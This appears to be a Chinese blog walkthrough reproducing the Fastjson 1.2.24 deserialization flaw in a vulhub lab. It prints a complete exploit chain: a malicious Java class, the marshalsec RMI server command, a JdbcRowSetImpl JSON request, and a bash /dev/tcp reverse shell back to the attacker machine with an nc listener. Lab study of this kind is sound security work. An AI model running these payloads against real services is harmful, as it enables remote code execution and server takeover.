Fastjson1.2.24漏洞復現-基於vulhub漏洞平臺(檔案上傳寫入-反彈shell)

2023-07-28 18:00:44

Fastjson1.2.24漏洞復現-基於vulhub漏洞平臺

環境準備:

192.168.59.130 攻擊機 window10

192.168.59.135 靶機 centos8

宣告:不涉及網際網路上的資源,學習都在內網完成,一切皆用於學習記錄,不可用於其他用途

環境準備:(自行baidu安裝)可能環境準備比較折磨,問題會不斷,慢慢來,有點耐心就行。

兩臺裝置都安裝1.8.0的jdk,python

window10:maven、marshalsec(反序列化環境)

centos8:安裝docker 搭建vulhub靶場環境,要裝docker-compose元件才能啟動vulhub環境

我踩過的坑都在環境搭建,yum源用ali的吧,從本地到centos8的檔案互傳(xshell7),可以安裝lszrz(應該是,忘了,可以查一下),儘可能用自己熟悉的Linux吧。

看了比較多文章,寫的都挺好的。

明確一下復現原理:

​ 被攻擊者所在網站解析json時,沒有對json的內容進行驗證,就對json進行解析成java物件,然後去執行。攻擊者可以構造對應的payload執行程式碼,去使被攻擊者執行,達到程式碼執行或命令執行的目的,從而實現對被攻擊者的安全測試。

1.檔案上傳

話不多說,開幹!!!!

目前所有準備就緒

centos8目錄結構:

[root@192 ~]# ll
total 198796
-rw-------. 1 root root 1177 Nov 16 2021 anaconda-ks.cfg
-rw-r--r--. 1 root root 194042837 Jul 27 06:33 jdk-8u202-linux-x64.tar.gz
drwxr-xr-x. 5 root root 134 Jul 27 22:29 marshalsec
drwxr-xr-x. 120 root root 4096 Jul 27 06:18 vulhub

cd vulhub/fastjson/1.2.24-rce/ 進入vulhub的fastjson1.2.24這個目錄

docker-compose up -d 啟動漏洞環境

測試:

存取:http://IP:8090

我在攻擊機的E槽下新建了一個名為java的資料夾,然後新建一個TouchFile.java檔案,寫入以下程式碼:


// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success111111111"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}


在java路徑下然後調出cmd命令列,直接回車,執行javac TouchFile.java,編譯:

在Java的目錄下的命令列中執行(要安裝python,具體設定去baidu搜尋):

python2 python -m SimpleHTTPServer 4444

python3 python3 -m http.server 4444

找到並進入marshalsec目錄,直接cmd,啟動RMI服務,監聽9999埠並載入遠端類TouchFile.class:

mvn clean package -DskipTests //有success,就成功了

然後會在marshalsec目錄生成一個target目錄,切換進去 發現生成了marshalsec-0.0.3-SNAPSHOT-all.jar:

cd target

開啟rmi服務:這裡的IP地址寫攻擊機開啟http服務的地址

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.130:4444/" 9999

開啟burp suite抓包,然後重新整理http://192.168.59.135:8090,開始轉圈圈:

來到burp suite:

修改payload,把請求體中的GET改成POST:

主要payload是紅色框框住的那塊

Content-Type:application/json //表明這個是json程式碼

Content-Length:164

下面有

這是我構造的payload,我看了網上很多,放進去都不行,觸發不了漏洞:

POST / HTTP/1.1
Host: 192.168.59.135:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3;en
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 164

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.59.130:9999/TouchFile",
        "autoCommit":true
    }
}

效果:

檢視rmi

檢視docker容器

docker ps

docker exec -it 容器id /bin/bash

!!!!成功寫入建立檔案

2.反彈shell

其實設定差不多

目前所有準備就緒

centos8目錄結構:

[root@192 ~]# ll
total 198796
-rw-------. 1 root root 1177 Nov 16 2021 anaconda-ks.cfg
-rw-r--r--. 1 root root 194042837 Jul 27 06:33 jdk-8u202-linux-x64.tar.gz
drwxr-xr-x. 5 root root 134 Jul 27 22:29 marshalsec
drwxr-xr-x. 120 root root 4096 Jul 27 06:18 vulhub

cd vulhub/fastjson/1.2.24-rce/ 進入vulhub的fastjson1.2.24這個目錄

docker-compose up -d 啟動漏洞環境

測試:

存取:http://IP:8090

我在攻擊機的E槽下新建了一個名為java的資料夾,然後新建一個TouchFile.java檔案,寫入以下程式碼:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.59.130/2333 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在java路徑下然後調出cmd命令列,直接回車,執行javac TouchFile.java,編譯:

在Java的目錄下的命令列中執行(要安裝python,具體設定去baidu搜尋):

python2 python -m SimpleHTTPServer 4444

python3 python3 -m http.server 4444

找到並進入marshalsec目錄,直接cmd,啟動RMI服務,監聽9999埠並載入遠端類TouchFile.class:

mvn clean package -DskipTests //有success,就成功了

然後會在marshalsec目錄生成一個target目錄,切換進去 發現生成了marshalsec-0.0.3-SNAPSHOT-all.jar:

cd target

開啟rmi服務:這裡的IP地址寫攻擊機開啟http服務的地址

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.130:4444/" 9999

不同點來了(安裝ncat,或者nmap,可以自行baidu,很簡單,無腦下一步就行)

監聽2333埠

centos8的命令:nc -lvp 2333

由於我用的是window10(我安裝的nmap)需要找到ncat.exe所在目錄,否則無法執行nc:ncat.exe -lvp 2333

開啟burp suite抓包,然後重新整理http://192.168.59.135:8090

修改payload,把請求體中的GET改成POST

主要payload是紅色框框住的那塊

Content-Type:application/json //表明這個是json程式碼

Content-Length:164

下面有

依舊用這個payload,構造完點GO:

POST / HTTP/1.1
Host: 192.168.59.135:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3;en
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 164

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.59.130:9999/TouchFile",
        "autoCommit":true
    }
}

看效果:

這個成功反彈shell,拿下!!!!!!!!

完活!結束了fastjson1.2.24漏洞復現

整一個流程下來,其實脈絡很清晰了,就是通過構造payload去讓被攻擊機觸發攻擊機設計好的程式碼,大半天操作就想說這句話。

結束了

:未經同意請勿轉載,僅作學習使用。以上有描述不正確之處,望大家能不吝指出,共同學習共同進步。謝謝